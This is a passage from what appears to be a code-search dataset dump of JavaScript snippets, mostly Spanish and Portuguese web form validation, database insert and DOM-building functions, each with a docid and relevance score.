document.getElementById(\"peso_can\").value;\n var estatura = document.getElementById(\"esta_can\").value;\n var civil = document.getElementById(\"fky_civ\").value;\n var ocupacion = document.getElementById(\"ocu_can\").value;\n var categoriafk = document.getElementById(\"fky_cat\").value;\n var direccion = document.getElementById(\"dir_can\").value;\n var municipio = document.getElementById(\"fky_mun\").value;\n var telefono = document.getElementById(\"tel_can\").value;\n var email = document.getElementById(\"email_can\").value;\n var fecha = document.getElementById(\"fec_can\").value;\n\n // Aqui se cargan los IDs de los DIVs que contienen los Inputs del Formulario\n\n var inputCedula = document.getElementById(\"inputCedula\");\n var inputNombre = document.getElementById(\"inputNombre\");\n var inputApellido = document.getElementById(\"inputApellido\");\n var inputEdad = document.getElementById(\"inputEdad\");\n var inputPeso = document.getElementById(\"inputPeso\");\n var inputEstatura = document.getElementById(\"inputEstatura\");\n var inputOcupacion = document.getElementById(\"inputOcupacion\");\n var inputEstadoCivil = document.getElementById(\"inputEstadoCivil\");\n var inputCategoria = document.getElementById(\"inputCategoria\");\n var inputDireccion = document.getElementById(\"inputDireccion\");\n var inputMunicipio = document.getElementById(\"inputMunicipio\");\n var inputTelefono = document.getElementById(\"inputTelefono\");\n var inputEmail = document.getElementById(\"inputEmail\");\n\n // Validación de que los Inputs no estan vacios\n\n if(!cedula)\n {\n swal(\"\", \"Debe llenar el campo de Cédula.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"ci_can\").focus();\n inputCedula.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputCedula.className=\"form-group label-floating\";\n }\n\n if(!nombre)\n {\n swal(\"\", \"Debe llenar el campo de Nombre.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"nom_can\").focus();\n inputNombre.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputNombre.className=\"form-group label-floating\";\n }\n\n if(!apellido)\n {\n swal(\"\", \"Debe llenar el campo de Apellido.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"ape_can\").focus();\n inputApellido.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputApellido.className=\"form-group label-floating\";\n }\n\n if(!edad)\n {\n swal(\"\", \"Debe llenar el campo de Edad.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"edad_can\").focus();\n inputEdad.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputEdad.className=\"form-group label-floating\";\n }\n\n if(!peso)\n {\n swal(\"\", \"Debe llenar el campo de Peso.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"peso_can\").focus();\n inputPeso.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputPeso.className=\"form-group label-floating\";\n }\n\n if(!estatura)\n {\n swal(\"\", \"Debe llenar el campo de Estatura.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"esta_can\").focus();\n inputEstatura.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputEstatura.className=\"form-group label-floating\";\n }\n\n if(!ocupacion)\n {\n swal(\"\", \"Debe llenar el campo de Ocupación.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"ocu_can\").focus();\n inputOcupacion.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputOcupacion.className=\"form-group label-floating\";\n }\n\n if(!civil)\n {\n swal(\"\", \"Debe seleccionar una opción en Estado Civil.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"fky_civ\").focus();\n inputEstadoCivil.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputEstadoCivil.className=\"form-group label-floating\";\n }\n\n if(!categoriafk)\n {\n swal(\"\", \"Debe seleccionar una opción en Categoria.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"fky_cat\").focus();\n inputCategoria.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputCategoria.className=\"form-group label-floating\";\n }\n\n if(!direccion)\n {\n swal(\"\", \"Debe llenar el campo de Dirección.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"dir_can\").focus();\n inputDireccion.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputDireccion.className=\"form-group label-floating\";\n }\n\n if(!municipio)\n {\n swal(\"\", \"Debe llenar el campo de Municipio.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"fky_mun\").focus();\n inputMunicipio.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputMunicipio.className=\"form-group label-floating\";\n }\n\n if(!telefono)\n {\n swal(\"\", \"Debe llenar el campo de Teléfono.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"tel_can\").focus();\n inputTelefono.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputTelefono.className=\"form-group label-floating\";\n }\n\n if(!email)\n {\n swal(\"\", \"Debe llenar el campo de Correo Electrónico.\", \"error\", \n {\n button:false,\n timer: 1500\n });\n document.getElementById(\"email_can\").focus();\n inputEmail.className=\"form-group label-floating has-error\";\n return\n }\n else\n {\n inputEmail.className=\"form-group label-floating\";\n }\n\n // Guardado en la Base de Datos\n\n sql = \"SELECT * FROM candidata\";\n con.query(sql, function (err, result) \n {\n if (err) console.log(err);\n });\n \n sql = \"INSERT INTO candidata (ci_can, nom_can, ape_can, peso_can, esta_can, fky_civ, ocu_can, fky_cat, edad_can, fky_mun, dir_can, tel_can, email_can, fec_can, est_can) VALUES ?\";\n var values = [\n [cedula, nombre, apellido, peso, estatura, civil, ocupacion, categoriafk, edad, municipio, direccion, telefono, email, fecha, estado]];\n con.query(sql, [values], function (err, result) \n {\n if (err)\n { \n console.log(err);\n swal(\"Error\", \"Por favor, verifique los datos o contacte con el Administrador.\", \"error\", \n {\n button:false,\n timer: 3000\n });\n }\n else \n {\n swal(\"\", \"Candidata registrada correctamente.\", \"success\",\n {\n button:false,\n timer: 3000\n }).then(function() \n {\n window.location.reload();\n });\n };\n });\n}", "title": "" }, { "docid": "453a68b598612845b096f9a7340c6e9c", "score": "0.49767038", "text": "saveArea() {\n /* Get the token of the Superuser from the cookie for authorization */\n const token = this.props.cookies.token;\n this.props.updateArea(this.state.activeArea, this.state.contact_details,this.state.excel_identifier, this.state.uri, this.state.ne_corner, this.state.sw_corner, this.state.description_en, this.state.description_de, this.state.description_cs, this.state.description_pl, this.state.description_sk, this.state.description_sl, token)\n }", "title": "" }, { "docid": "98dcc69875d3400a29a15614ee1abb6b", "score": "0.4974951", "text": "function addOrcamentoCoberturaIseg(){\r\n\tsubmitFormAjax('#formOrcCobIseg', getContextApp()+'/orcamentoSegAuto/addOrcamentoCoberturaIseg.action', '#coberturasIseg');\r\n}", "title": "" }, { "docid": "116eec7ae7faa9b5c1c01651030a98b8", "score": "0.49743235", "text": "function fInicializaGridEd(){\n var options = {\n canEdit: false,\n canEditCols : [false,false,false,false,false],\n canAdd: false,\n CanDelete: false,\n ConfirmDelete: false,\n ConfirmDeleteCol:-1,\n RecordName:'Resumen de Precios',\n dataMenuHandler: fMenuGrid,\n updateUrl: false,\n deleteUrl: false\n };\n oPreciosProvEd=new Rico.TableEdit(oPreciosProv, options);\n}", "title": "" }, { "docid": "2c4a86ecb9c38fb03bd6ba94a7d390b1", "score": "0.49674064", "text": "function insertarDatosTablaPuntosRuta(aux){\r\n var features = new Array();\r\n \r\n var pt = new OpenLayers.Geometry.Point(aux.x,aux.y);\r\n pt.transform( new OpenLayers.Projection( \"EPSG:4326\" ),\r\n new OpenLayers.Projection( \"EPSG:900913\" ) );\r\n \r\n var idPt = new OpenLayers.Feature.Vector( pt, {\r\n id : contadorPuntos\r\n });\r\n\r\n if(strTipoRecorrido==\"B\"){\r\n /*Enviar al estore de la tabla de puntos de ruta*/\r\n storePuntosRuta.add(new Ext.data.Record({\r\n numero : contadorPuntos,\r\n latitud : aux.y,\r\n longitud: aux.x\r\n }));\r\n \r\n /* linea */\r\n puntosLineaRuta.push(pt);\r\n }else if(strTipoRecorrido==\"R\"){\r\n /*Enviar al estore de la tabla de puntos de ruta*/\r\n storePuntosRuta.insert((contadorPuntos-1),new Ext.data.Record({\r\n numero : contadorPuntos,\r\n latitud : aux.y,\r\n longitud: aux.x\r\n }));\r\n \r\n /* linea */\r\n puntosLineaRuta.splice((contadorPuntos-1),0,pt);\r\n }else if(strTipoRecorrido==\"BR\"){\r\n /*Enviar al estore de la tabla de puntos de ruta*/\r\n storePuntosRuta.insert(contadorPuntos,new Ext.data.Record({\r\n numero : contadorPuntos,\r\n latitud : aux.y,\r\n longitud: aux.x\r\n }));\r\n \r\n /* linea */\r\n puntosLineaRuta.splice(contadorPuntos,0,pt);\r\n }\r\n idPt.id = contadorPuntos;\r\n features.push(idPt);\r\n lienzoRutas.addFeatures(features);\r\n}", "title": "" }, { "docid": "8f30032ca0b663ae1c1356722d39e76a", "score": "0.4967332", "text": "function inserirGrupo() {\n\n if ($scope.novoGrupo.Id > 0) {\n atualizarGrupo();\n } else {\n inserirGrupoModel();\n }\n\n }", "title": "" }, { "docid": "4e217650bceef1baae1c18c9d3834338", "score": "0.49650192", "text": "function addUserToCustomerIO(){\n if (hasSignedUp()) return;\n\n var email = $(\"#cio-email\").val();\n var firstName = $(\"#cio-firstname\").val();\n var source = $(\"#cio-source\").val();\n var id = email.replace('@', '_');\n id = id.replace('.', '_');\n\n _cio.identify({\n // Required Items\n id: id,\n email: email,\n created_at: Math.round( new Date().getTime()/1000), // seconds since the epoch\n\n // Optional (these are examples. You can name attributes what you wish)\n type: 'lead',\n first_name: firstName,\n source: 'leads',\n referrer: document.referrer\n });\n\n setSignedUp();\n }", "title": "" }, { "docid": "f4be8bf917741623349ed8e6010ce7e6", "score": "0.49646744", "text": "function guardar(){\n\n\tif(validateFields()){\n\t\tvar publicacion = new Publicacion(getValue('nombreID'), getValue('contactoID'), \n\t\tgetValue('estadoID'), getValue('ciudadID'), \n\t\tgetValue('shortDesc'), getValue('longDesc'));\n\n\t\tvar item = Object.assign({}, publicacion);\n\t\tdb.collection(COL_ORG).add(item).then(\n\t\tdata => {\n\t\t\talert('Guardado');\n\t\t\tconsole.log(\"Datos guardados exitosamente!!!\", data);\n\t\t\twindow.close();\n\t\t},\n\t\terror => {\n\t\t\talert('Error');\n\t\t\tconsole.error(\"Ocurrio un error al guardar los datos!!!\", error);\n\t\t});\n\t}else{\n\t\talert('Error: llena todos los campos.');\n\t}\n\n\n\t\n}", "title": "" }, { "docid": "1f01eb473e541ec2fbb0131b6c870d8b", "score": "0.49644232", "text": "function criarEvento(tipo_evento,descricao,dataInicio,dataFinal,evento,feriado,aula,hora){\n\t//Pega o ano atual verifica se existe um registro na tabela anoLetivo com o mesmo valor\n\t//se existir ele pega o id e atribui o valor para a variável anoLetivo\t\n\tvar data = new Date();\t\t\t\t\t\t\t\t\t\t\n\tvar ano = data.getFullYear();\t\t\n\t\n\tvar Valores = \"dataInicio=\"+dataInicio+\"&dataFim=\"+dataFinal+\"&evento=\"+evento+\"&descricao=\"+descricao+\"&tipoEvento=\"+tipo_evento+\"&ano=\"+ano+\"&aula=\"+aula+\"&feriado=\"+feriado+\"&hora=\"+hora+\"&visivel=1\";\n\t\n\tvar retorno = setCreateData(\"Calendario\",Valores);\n\t\n\tif(retorno != \"erro\"){\n\t\tmensagem(\"Cadastrado com sucesso!\",\"OK\",\"bt_ok\",\"sucesso\");\t\t\t\n\t}else{\n\t\tmensagem(\"Erro ao cadastrar!\",\"OK\",\"bt_ok\",\"erro\");\t\t\n\t}\n\treturn retorno;\n}", "title": "" }, { "docid": "0ef791d78bc33fac268e9bdc33c579c8", "score": "0.49586222", "text": "function addEditAirOperation() {\n // set up the dialog elements\n $(\"#airopzone\").text(selectedZone);\n if (editingOpIdx > -1) { //editing an existing op\n selectZone(searchGrid.zoneToTopLeftCoords(airOps[editingOpIdx].Zone));\n $(\"#airopmission\").html(getMissionOptionHtml(airOps[editingOpIdx].Mission));\n } else { //new op\n if (!getMissionOptions()) return;\n if (!getNewOp()) return;\n }\n showAirOpSources();\n \n $(\"#dlgairops\").css(\"display\", \"block\")\n .draggable({\n handle: \".floathead\",\n containment: \"#pagediv\",\n scroll: false\n });\n \n // show it\n $(\"#dlgoverlay\").css(\"display\", \"block\").focus();\n}", "title": "" }, { "docid": "b970455342287371cb7243e4e072b575", "score": "0.49567232", "text": "function alumnoIngreso(){ \r\n document.querySelector(\"#bodyHome\").style.display = \"block\"; //Muestro interfaz bienvenida\r\n document.querySelector(\"#h1TitBienvenida\").innerHTML = `Bienvenido/a ${usuarioLoggeado}`;//Bienvenida usuario\r\n document.querySelector(\"#navAlumno\").style.display = \"block\"; //Muestro interfaz alumno\r\n document.querySelector(\"#auxUsuario\").style.display = \"block\"; //Muestro div auxiliar de usuarios\r\n document.querySelector(\"#auxLanding\").style.display = \"none\"; //Oculto botones de registrar e ingresar\r\n document.querySelector(\"#pagPrincipal\").style.display = \"none\"; //Oculto boton pagina principal\r\n document.querySelector(\"#registro\").style.display = \"none\"; //Oculto el formulario\r\n document.querySelector(\"#ingreso\").style.display = \"none\"; //Oculto formulario de ingreso\r\n}", "title": "" }, { "docid": "31974ade1a5b5650bed83e0fc678b062", "score": "0.49525332", "text": "function insertardatos(n1,n2,n3){\n var nombre = obtener(n1);\n var contraseña = obtener(n2);//se obtienen los datos del formulariio\n var tipo = obtener(n3);\n if(nombre.length==0 || contraseña.length==0 ){\n //se verifica primero que todos los campos esten llenos\n nowuiDashboard.showNotification('top','center',\"<b>rellene todos los campos!</b>\",\"warning\");\n }else{\n //alert(nombre +\" \"+ contraseña +\" \"+ tipo);\n var obj = new Object;//se cre un objeto que representara un usuario\n obj[\"Nombre\"]= nombre;\n obj[\"pass\"]=contraseña;//con su nombre contraseña y tipo ademas de un esatdo que serviara para saber si esta logeado o no\n obj[\"tipo\"]=tipo;\n obj[\"Estado\"]=0;\n console.log(obj);//se imprimie en consola modo de pruebas no es necesario hacerlo\n \n var bd = firebase.database().ref(\"Usuarios\");//se inicia una instancia de la base de datos pero haciendo referencia a la tabla usuarios\n var id ;//se crea una variable para la id\n bd.once(\"value\",function(snap){ //se crea una consulta siempre se hace con el archivo que creaste la instancia en este caso bd\n //seguido de .once porque solo una consulta es no varias y como queremos nada mas revisar valores ponemos (\"value\", )y segudo de una funcion para tomar una captura de la instancia de la base de datos\n //por eso ponemos la palabra snap aunk puede ser cualquier palabra dentro de la funcion\n var aux = snap.val();//creamos una variable en este caso aux que tome los valores de la fotografia de los datos de la bd\n var n = 1;//creamos un contador para saber cuantos usuarios hay antes del que se ingresara\n for(var documento in aux){ //hacemos un for que por cada usuario en la fotografia se recorrera lo siguiente\n //OJO documento tomara los elementos dentro de usuarios osea solo los ID que representa\n console.log(documento+ \" \"+documento.substring(0,2));//datos de prueba en consola (opcional todos los que digan console.log)\n if(tipo==\"Limitado\"){ //aqui verificamos si es limitado o admin para contar solo los limitados o solo los admin\n id = \"LT\";//si es limitado los primeros digitos del id son LT\n if(documento.substring(0,2)==\"LT\"){//verificamos si el elemenot actual de la fotografia es un limitado osea que comienze su id con LT\n console.log(\"si\"+n);//opcional\n n++;//si el elemento actual es limitado entonces aumenta el contador de usuarios del mismo tipo que estamos insertando\n }\n }else{//------------------lo mismo pero para admin\n id = \"AD\";\n if(documento.substring(0,2)==\"AD\"){\n n++;\n }\n }\n //verificamos si dentro de la fotografia (aux) en el id que estamos viendo ahorita (documento) su parte del nombre es igual a la del elemento que vamos a insertar\n if(aux[documento].Nombre==obj[\"Nombre\"]){\n console.log((aux[documento].Nombre+\"--\"+obj[\"Nombre\"]));\n //si son iguales osea si ya hay un nombre igual al de elemento que pondremos \n nowuiDashboard.showNotification('top','center',\"<b>ESE USUARIO YA EXISTE!</b>\",\"danger\");\n return 0;//y se detendra la funcion\n }\n }\n //todo aqui abajo es para agregar una cantidad de 0 antes del n (representa el numero de usuario limitado o admin que sera el que se acaba de registrar)\n if(n>=10000){\n id+=\"0\"+n;\n }else if(n>=1000){\n id+=\"00\"+n;\n }else if(n>=100){\n id+=\"000\"+n;//si 3 digitos entonces 3 ceros y asi suscesivamente\n }\n else if(n>=10){\n id+=\"0000\"+n;//si es 2 digitos entonces 4 ceros\n }\n else{\n id+=\"00000\"+n;//si es de un digito el entonces 5 ceros antes\n }\n bd.child(id).set(obj);//se duce que en la instancia de la base de datos actual (vease linea N°34)\n //.child() crea un subdato que este sera el id que ya creamos y dentro de el se pondra (.set) el objeto que cotiene los datos del usuario\n\n /* alert(\"Registrado\");//se indica que se registro \n location.reload(true);//recargamos la pagina*/\n nowuiDashboard.showNotification('top','center',\"<b>REGISTRO EXITOSO!</b>\",\"success\");\n setTimeout(function(){location.reload()},3000);\n });\n // var bd = firebase.database().ref(\"Usuarios/\"+id);\n // bd.set(obj);\n }\n}", "title": "" }, { "docid": "35c440482f68ce238f574a5307c8ab8c", "score": "0.49473697", "text": "function agregarAlumnos(e) {\n e.preventDefault();\n validarForm(); \n // Valido que esten ok los datos del formulario\n if (bandera == true) {\n let opcion = confirm(\"Esta seguro de agregar al Alumno)\");\n if (opcion == true) {\n let formulario = e.target\n arrayAlumnos.push(new Alumno(nombreI, emailI, passwordI));\n } else {\n alert(\"No se agregara el usuario\");\n }\n formulario.children[1].value = \"\";\n formulario.children[3].value = \"\";\n formulario.children[5].value = \"\";\n contenedor.innerHTML = \"\";\n AgregarAlDom();\n inputNombre.focus();\n \n }else {\n inputNombre.focus();\n\n }\n}", "title": "" }, { "docid": "5988582261dbd858cfba079b80b681bd", "score": "0.49463803", "text": "function User_Insert_Produits_Comptes_généraux_11(Compo_Maitre)\n{\n\n/*\n***** INFOS ******\n\nNbr d'esclaves = 2\n\nId dans le tab: 178;\nsimple\nNbr Jointure: 1;\n Joint n° 0 = comptegen,cg_numero,cg_numero\n\nId dans le tab: 179;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\n******************\n*/\n\n var Table=\"compteproduit\";\n var CleMaitre = TAB_COMPO_PPTES[175].NewCle;\n var NomCleMaitre = DePrefixerChamp(Compo_Maitre.getCle());\n /* COMPOSANT LISTE AVEC JOINTURE SIMPLE */\n var cg_numero=GetValAt(178);\n if (cg_numero==\"-1\")\n cg_numero=\"null\";\n if (!ValiderChampsObligatoire(Table,\"cg_numero\",TAB_GLOBAL_COMPO[178],cg_numero,true))\n \treturn -1;\n var ci_actif=GetValAt(179);\n if (!ValiderChampsObligatoire(Table,\"ci_actif\",TAB_GLOBAL_COMPO[179],ci_actif,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"ci_actif\",TAB_GLOBAL_COMPO[179],ci_actif))\n \treturn -1;\n var Req=\"insert into \"+Table+\" \";\nvar TabInsertionEnPlus=new Array();\n Req+=\"(\"+NomCleMaitre+\",pd_numero,cg_numero,ci_actif\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[0]:\"\")+\")\";\n Req+=\" values (\"+CleMaitre+\",\"+TAB_COMPO_PPTES[158].NewCle+\",\"+cg_numero+\",\"+(ci_actif==\"true\" ? \"true\" : \"false\")+\"\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[1]:\"\")+\")\";\n\n if (pgsql_update(Req)==0)\n\talert(\"Echec lors de l'insertion\");\nreturn CleMaitre;\n\n}", "title": "" }, { "docid": "c58df72682ee5527740811ec23cb6560", "score": "0.4945174", "text": "function createPano(panoId) {\n //debugger\n // console.log('createPano');\n let pId = extractId(panoId)\n \n // Create a new Div, that will contain all the input fields.\n const divId = 'pano-'+(pId).toString()\n const prevId = 'pano-'+(pId-1).toString()\n const parentDiv = document.querySelector('#pano_data')\n const prevDiv = document.querySelector('#'+prevId)\n const mainDiv = divInserter( divId, parentDiv, prevDiv);\n mainDiv.setAttribute(\"class\", \"pano_maker\") \n mainDiv.setAttribute('id', pId) \n\n // Pano number \n let panoTitle = document.createElement('span')\n panoTitle.setAttribute('id', 'pano_maker_title-'+pId)\n panoTitle.setAttribute('class','pano_title')\n panoTitle.innerHTML = \"<b>New Pano</b>\" \n mainDiv.appendChild(panoTitle)\n\n // Message Panel\n let message = document.createElement('span')\n message.setAttribute('id', 'pano_message-'+pId)\n message.setAttribute('class', 'pano_message')\n mainDiv.appendChild(message)\n \n // Add Button\n let addButton = document.createElement('input')\n addButton.setAttribute('type', 'button')\n addButton.setAttribute('id', 'add_button-'+pId)\n addButton.setAttribute('class', 'add_button')\n addButton.setAttribute('value', 'Add' )\n addButton.setAttribute('onclick', 'savePano(this.id)' )\n mainDiv.appendChild(addButton)\n \n // Select a file\n let fileDiv = divCreator('file_div', mainDiv);\n let selFile = document.createElement('span')\n fileDiv.appendChild(selFile)\n selFile.innerHTML = '<b>Select an Image File: </b>'\n selFile.setAttribute('class', 'title_row')\n // input file\n let id = 'input_file-'+pId \n let imageInput = document.createElement('input') \n imageInput.setAttribute('type', 'file')\n imageInput.setAttribute('name', 'pano'+pId)\n imageInput.setAttribute('id', 'input_file-'+pId)\n imageInput.setAttribute('class', 'browse_btn')\n imageInput.setAttribute('accept', '.jpg, .png')\n // imageInput.setAttribute('onchange', 'duplicateCheck(this.id)')\n imageInput.setAttribute('oninput', 'displayThumbnail(this)')\n fileDiv.appendChild(imageInput)\n // image file thumbnail\n let imageThumb = document.createElement('img')\n imageThumb.setAttribute('id', 'image_thm-'+pId)\n imageThumb.setAttribute('class', 'image_thm')\n fileDiv.appendChild(imageThumb)\n\n // View Name\n let nameDiv = divCreator('name_div', mainDiv);\n let paneSize = 40;\n // checkbox enable View Names\n let enableViewName = document.createElement('input')\n enableViewName.setAttribute('type', \"checkbox\")\n enableViewName.setAttribute('class', 'checkbox')\n enableViewName.setAttribute('id', 'view_name_enabled-'+pId)\n enableViewName.setAttribute('checked', 'true')\n enableViewName.setAttribute('onclick', 'viewNamesEnable(this.id)')\n nameDiv.appendChild(enableViewName)\n // Label\n let viewNameLabel = document.createElement('span')\n viewNameLabel.setAttribute('class', 'title_row')\n viewNameLabel.innerHTML = 'View Name:'\n nameDiv.appendChild(viewNameLabel)\n // Input\n let viewNameInput = document.createElement('input')\n viewNameInput.setAttribute('type', 'text')\n viewNameInput.setAttribute('size', paneSize)\n viewNameInput.setAttribute('class', 'title_row')\n viewNameInput.setAttribute('id', 'view_name-'+pId)\n viewNameInput.setAttribute('onchange', 'checkInput(this.id)')\n viewNameInput.setAttribute('oninput', 'duplicateCheck(this.id)')\n nameDiv.appendChild(viewNameInput)\n \n // Camera Position\n let camposDiv = divCreator('campos_div', mainDiv);\n camposDiv.setAttribute('class', 'cam_position')\n // console.log('camposDiv ',camposDiv)\n paneSize = 20;\n // checkbox enable View Names\n let enableCamPos = document.createElement('input')\n enableCamPos.setAttribute('type', \"checkbox\")\n enableCamPos.setAttribute('class', 'checkbox')\n enableCamPos.setAttribute('id', 'cam_pos_enabled-'+pId)\n enableCamPos.setAttribute('checked', 'true')\n enableCamPos.setAttribute('onclick', 'camPosEnable(this.id)')\n camposDiv.appendChild(enableCamPos)\n // Title\n let camPosTitle = document.createElement('span')\n camPosTitle.innerHTML = \"Camera Position\"\n camPosTitle.setAttribute('class', 'title_row')\n camposDiv.appendChild(camPosTitle)\n // pos x label\n let posxLabel = document.createElement('span')\n posxLabel.setAttribute('class', 'position_row')\n posxLabel.innerHTML = 'pos x:'\n camposDiv.appendChild(posxLabel)\n // pos x Input\n let posxInput = document.createElement('input')\n posxInput.setAttribute('type', 'number')\n posxInput.setAttribute('step', '0.1')\n posxInput.setAttribute('size', paneSize)\n posxInput.setAttribute('id', 'posx-'+pId)\n posxInput.setAttribute('onchange', 'checkInput(this.id)')\n camposDiv.appendChild(posxInput)\n // pos y label\n let posyLabel = document.createElement('span')\n posyLabel.setAttribute('class', 'position_row')\n posyLabel.innerHTML = 'pos y:'\n camposDiv.appendChild(posyLabel)\n // pos y Input\n let posyInput = document.createElement('input')\n posyInput.setAttribute('type', 'number')\n posyInput.setAttribute('step', '0.1')\n posyInput.setAttribute('size', paneSize)\n posyInput.setAttribute('id', 'posy-'+pId)\n posyInput.setAttribute('onchange', 'checkInput(this.id)')\n camposDiv.appendChild(posyInput)\n // pos z label\n let poszLabel = document.createElement('span')\n poszLabel.setAttribute('class', 'position_row')\n poszLabel.innerHTML = 'pos z:'\n camposDiv.appendChild(poszLabel)\n // pos z Input\n let poszInput = document.createElement('input')\n poszInput.setAttribute('type', 'number')\n poszInput.setAttribute('step', '0.1')\n poszInput.setAttribute('size', paneSize)\n poszInput.setAttribute('id', 'posz-'+pId)\n poszInput.setAttribute('onchange', 'checkInput(this.id)')\n camposDiv.appendChild(poszInput)\n\n // Delete Button\n let deleteButton = document.createElement('input')\n deleteButton.setAttribute('type', 'button')\n deleteButton.setAttribute('id', 'delete_button-'+pId)\n deleteButton.setAttribute('class', 'delete_button')\n deleteButton.setAttribute('value', 'Delete' )\n deleteButton.setAttribute('onclick', 'deletePano(this.id)' )\n camposDiv.appendChild(deleteButton)\n\n // pano object {elements, values}\n let pano = {\n elements: { \n main: mainDiv, \n title: panoTitle, \n message: message, \n addButton: addButton,\n deleteButton: deleteButton,\n inputFile: imageInput,\n viewName: viewNameInput,\n viewNameEnabled: enableViewName, \n camPosEnabled: enableCamPos, \n posx: posxInput,\n posy: posyInput,\n posz: poszInput\n },\n values:{}\n }\n\n gPanos.push(pano);\n // console.log(pano);\n checkInput(gPanos.length-1)\n \n }", "title": "" }, { "docid": "6963f8ba7c32f87703b345189139bf1b", "score": "0.49352697", "text": "function insertar_comprobantes()\r\n\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\tvar id_tipo_comprobantes=document.getElementById('id_tipo_comprobantes').value;\r\n\t\t\t\tvar fecha_ccomprobantes=document.getElementById('fecha_ccomprobantes').value;\r\n\t\t\t\tvar concepto_ccomprobantes=document.getElementById('concepto_ccomprobantes').value;\r\n\t\t\t\t\r\n\t\t\t\tvar error=\"TRUE\";\r\n\t\t\t\t\r\n\t\t\t\tif (id_tipo_comprobantes == 0)\r\n\t\t \t{\r\n\t\t\t \t\r\n\t\t \t\t$(\"#mensaje_id_tipo_comprobantes\").text(\"Seleccione Tipo\");\r\n\t\t \t\t$(\"#mensaje_id_tipo_comprobantes\").fadeIn(\"slow\"); //Muestra mensaje de error\r\n\t\t \r\n\t\t \t\terror =\"TRUE\";\r\n\t\t \t\treturn false;\r\n\t\t\t }\r\n\t\t \telse \r\n\t\t \t{\r\n\t\t \t\t$(\"#mensaje_id_tipo_comprobantes\").fadeOut(\"slow\"); //Oculta mensaje de error\r\n\t\t \t\terror =\"FALSE\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t}", "title": "" }, { "docid": "c9043a6aa45d939327edb7a52bb7771d", "score": "0.49341106", "text": "function crearTipoPerfil(){\n\tlet valorCrear=$(\"#valorTipoPerfil\").val();\n\tlet form={id:0, perfil:valorCrear}\n\tlet dataResp=ajaxRequest(`${URL_TARIFA}/create`, form, \"modCrear\");\n\tif(!isEmptyObject(dataResp)){\n\t\t$('#tablaTipoPerfil').DataTable().ajax.reload();\n\t $(\"#valorTipoPerfil\").val(\"\");\n\t}\n}", "title": "" }, { "docid": "27b5f53bcf448eb3e04fe864cb723269", "score": "0.49298787", "text": "function agregarComentario(codigoNoticia, codigoUsuario){\n\tdata = \"codigo_noticia=\"+codigoNoticia+\"&\"+\n\t\t\t\"codigoUsuario=\"+codigoUsuario+\"&\"+\n\t\t\t\"contenido=\"+$(\"#txt_comentario\").val();\n\t\t\t;\n\t$.ajax({ \n url : \"ajax/agregar_comentario.php?accion=4\",\n data: data,\n method: \"POST\",\n dataType: \"json\",\n success:function(resultado){\n\t\t\tif (resultado.codigo_resultado==1){\n\t\t\t\t$(\"#txt_comentario\").val(\"\");\n\t\t\t\tcargarComentarios(codigoNoticia);\n\t\t\t}else\n\t\t\t\talert(resultado.mensaje);\n\n\t\t\t$(function () {\n\t\t\t $('[data-toggle=\"popover\"]').popover();\n\t\t\t})\n\t\t},\n\t\terror:function(){\n\t\t\talert(\"Ups, no se pudo cargar el contenido.\");\n\t\t} \n });\t\n}", "title": "" }, { "docid": "b70ecd162f776cbaf9a82cacd85419a0", "score": "0.4920621", "text": "function dadosCadastro() {\n\tif (localStorage.cont) {\n localStorage.cont = Number(localStorage.cont)+1;\n } else {\n localStorage.cont = 1;\n }\n var nomeCompleto=document.getElementById(\"nomeCompleto\").value;\n var cpf=document.getElementById(\"cpf\").value;\n var rg=document.getElementById(\"rg\").value;\n var orgaoEmissor=document.getElementById(\"orgaoEmissor\").value;\n\n //formatação da data\n var dtNascimento=document.getElementById(\"dtNascimento\").value;\n var data = new Date(dtNascimento);\n\t var dataFormatada = data.toLocaleDateString('pt-br', {timeZone: 'UTC'});\n\t//final formatação\n\n var rua=document.getElementById(\"rua\").value;\n var numeroDaCasa=document.getElementById(\"numeroDaCasa\").value;\n \tvar bairro=document.getElementById(\"bairro\").value;\n \tvar cidade=document.getElementById(\"cidade\").value;\n \tvar estado=document.getElementById(\"estado\").value;\n \tvar cep=document.getElementById(\"cep\").value;\n \tvar telefone=document.getElementById(\"telefone\").value;\n \tvar celular=document.getElementById(\"celular\").value;\n \tvar celular2=document.getElementById(\"celular2\").value;\n \tvar materiaParaEnsinar=Number(document.getElementById(\"materiaParaEnsinar\").value);\n \tvar totalMaterias=[\"matematica\",\"portugues\",\"geo\"];\n \tvar anosEnsinando=document.getElementById(\"anosEnsinando\").value;\n \tvar cadastroEmail=document.getElementById(\"cadastroEmail\").value;\n var cadastroSenha=document.getElementById(\"cadastroSenha\").value;\n 